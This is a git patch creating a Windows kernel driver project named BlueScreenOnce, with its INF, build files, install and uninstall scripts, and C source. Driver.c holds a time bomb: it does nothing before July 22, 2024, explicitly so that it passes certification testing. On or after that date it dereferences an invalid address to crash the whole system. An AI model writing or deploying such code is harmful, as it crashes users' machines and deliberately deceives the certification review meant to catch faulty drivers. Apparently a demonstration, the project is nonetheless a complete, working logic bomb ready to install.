From 577591388473a0fc0b87d42a3df0875c6c7ac2fa Mon Sep 17 00:00:00 2001 From: Olli Janatuinen Date: Fri, 19 Jul 2024 19:58:14 +0200 Subject: [PATCH] Initial version --- .gitignore | 2 ++ BlueScreenOnce.inf | 60 +++++++++++++++++++++++++++++++++++++++ BlueScreenOnce.sln | 27 ++++++++++++++++++ BlueScreenOnce.vcxproj | 64 ++++++++++++++++++++++++++++++++++++++++++ Driver.c | 54 +++++++++++++++++++++++++++++++++++ LICENSE | 21 ++++++++++++++ install.cmd | 2 ++ uninstall.cmd | 5 ++++ 8 files changed, 235 insertions(+) create mode 100644 .gitignore create mode 100644 BlueScreenOnce.inf create mode 100644 BlueScreenOnce.sln create mode 100644 BlueScreenOnce.vcxproj create mode 100644 Driver.c create mode 100644 LICENSE create mode 100644 install.cmd create mode 100644 uninstall.cmd diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ee9fdf3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.vs/* +x64/* \ No newline at end of file diff --git a/BlueScreenOnce.inf b/BlueScreenOnce.inf new file mode 100644 index 0000000..738aa62 --- /dev/null +++ b/BlueScreenOnce.inf @@ -0,0 +1,60 @@ +; +; BlueScreenOnce +; + +[Version] +Signature = "$WINDOWS NT$" +Class = System +ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} +Provider = %ProviderString% +CatalogFile = BlueScreenOnce.cat +DriverVer = 07/20/2024,1.1.0.0 +PnpLockdown = 1 + +[DestinationDirs] +DefaultDestDir = 12; + +; Default install sections +[DefaultInstall.NTamd64] +OptionDesc = %ServiceDescription% +CopyFiles = BlueScreenOnce.DriverFiles1 + +[DefaultInstall.NTamd64.Services] +AddService = %ServiceName%,,BlueScreenOnce.Service + +; Default uninstall sections +[DefaultUninstall.NTamd64] +LegacyUninstall = 1 +DelFiles = BlueScreenOnce.DriverFiles2 + +[DefaultUninstall.NTamd64.Services] +DelService = %ServiceName%,0x200 + +; Services Section +[BlueScreenOnce.Service] +DisplayName = %ServiceDescription% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys +ServiceType = 1 ; SERVICE_KERNEL_DRIVER +StartType = 3 ; SERVICE_DEMAND_START +ErrorControl = 0 ; SERVICE_ERROR_IGNORE + +; Copy Files +[BlueScreenOnce.DriverFiles1] +%DriverName%.sys +[BlueScreenOnce.DriverFiles2] +%DriverName%.sys + +[SourceDisksFiles] +BlueScreenOnce.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +; String Section +[Strings] +ProviderString = "Olli Janatuinen" +ServiceDescription = "Blue Screen Once driver" +ServiceName = "BlueScreenOnce" +DriverName = "BlueScreenOnce" +DiskId1 = "BlueScreenOnce Device Installation Disk" diff --git a/BlueScreenOnce.sln b/BlueScreenOnce.sln new file mode 100644 index 0000000..12d83d7 --- /dev/null +++ b/BlueScreenOnce.sln @@ -0,0 +1,27 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34622.214 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueScreenOnce", "BlueScreenOnce.vcxproj", "{50F28A73-D2A8-4D1E-A781-516840A65C69}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.ActiveCfg = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.Build.0 = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Debug|x64.Deploy.0 = Debug|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.ActiveCfg = Release|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.Build.0 = Release|x64 + {50F28A73-D2A8-4D1E-A781-516840A65C69}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {109AB195-84EA-461B-A8B6-872DE2B0EB8C} + EndGlobalSection +EndGlobal diff --git a/BlueScreenOnce.vcxproj b/BlueScreenOnce.vcxproj new file mode 100644 index 0000000..0f7e3dd --- /dev/null +++ b/BlueScreenOnce.vcxproj @@ -0,0 +1,64 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + + + PreserveNewest + %(RecursiveDir)\BlueScreenOnce\%(Filename)%(Extension) + + + + {50F28A73-D2A8-4D1E-A781-516840A65C69} + {497e31cb-056b-4f31-abb8-447fd55ee5a5} + v4.5 + 12.0 + Release + BlueScreenOnce + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Windows Driver + + + + DbgengKernelDebugger + true + + + + sha256 + + + true + stdcpp20 + stdc17 + Disabled + true + Neither + true + Spectre + + + + + + + + + \ No newline at end of file diff --git a/Driver.c b/Driver.c new file mode 100644 index 0000000..ab0514a --- /dev/null +++ b/Driver.c @@ -0,0 +1,54 @@ +#include + +// Pass certification test by doing nothing before Monday, July 22, 2024 +BOOLEAN IsOnOrAfterTargetDate() +{ + LARGE_INTEGER systemTime = { 0 }; + TIME_FIELDS timeFields = { 0 }; + + KeQuerySystemTime(&systemTime); + ExSystemTimeToLocalTime(&systemTime, &systemTime); + RtlTimeToTimeFields(&systemTime, &timeFields); + + if (timeFields.Year > 2024) { + return TRUE; + } + else if (timeFields.Year == 2024 && timeFields.Month > 7) { + return TRUE; + } + else if (timeFields.Year == 2024 && timeFields.Month == 7 && timeFields.Day >= 22) { + return TRUE; + } + + return FALSE; +} + +VOID DriverUnload( + _In_ PDRIVER_OBJECT DriverObject +) { + UNREFERENCED_PARAMETER(DriverObject); + return; +} + +DRIVER_INITIALIZE DriverEntry; +NTSTATUS DriverEntry( + _In_ PDRIVER_OBJECT DriverObject, + _In_ PUNICODE_STRING RegistryPath +) { + UNREFERENCED_PARAMETER(DriverObject); + UNREFERENCED_PARAMETER(RegistryPath); + DriverObject->DriverUnload = DriverUnload; + + if (IsOnOrAfterTargetDate()) { + + // Trigger BSOD by reading from an invalid memory address + volatile ULONG* p = (volatile ULONG*)0x9c; + ULONG value2 = *p; + + // Use the read value to prevent compiler optimizations + UNREFERENCED_PARAMETER(value2); + } + + return STATUS_SUCCESS; +} + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..e94a533 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Olli Janatuinen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/install.cmd b/install.cmd new file mode 100644 index 0000000..d4e45d1 --- /dev/null +++ b/install.cmd @@ -0,0 +1,2 @@ +RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 %~dp0BlueScreenOnce.inf +sc start BlueScreenOnce diff --git a/uninstall.cmd b/uninstall.cmd new file mode 100644 index 0000000..6c164aa --- /dev/null +++ b/uninstall.cmd @@ -0,0 +1,5 @@ +sc stop BlueScreenOnce +sc delete BlueScreenOnce +takeown /f C:\Windows\System32\drivers\BlueScreenOnce.sys +icacls C:\Windows\System32\drivers\BlueScreenOnce.sys /grant Administrators:F +del /Q /F C:\Windows\System32\drivers\BlueScreenOnce.sys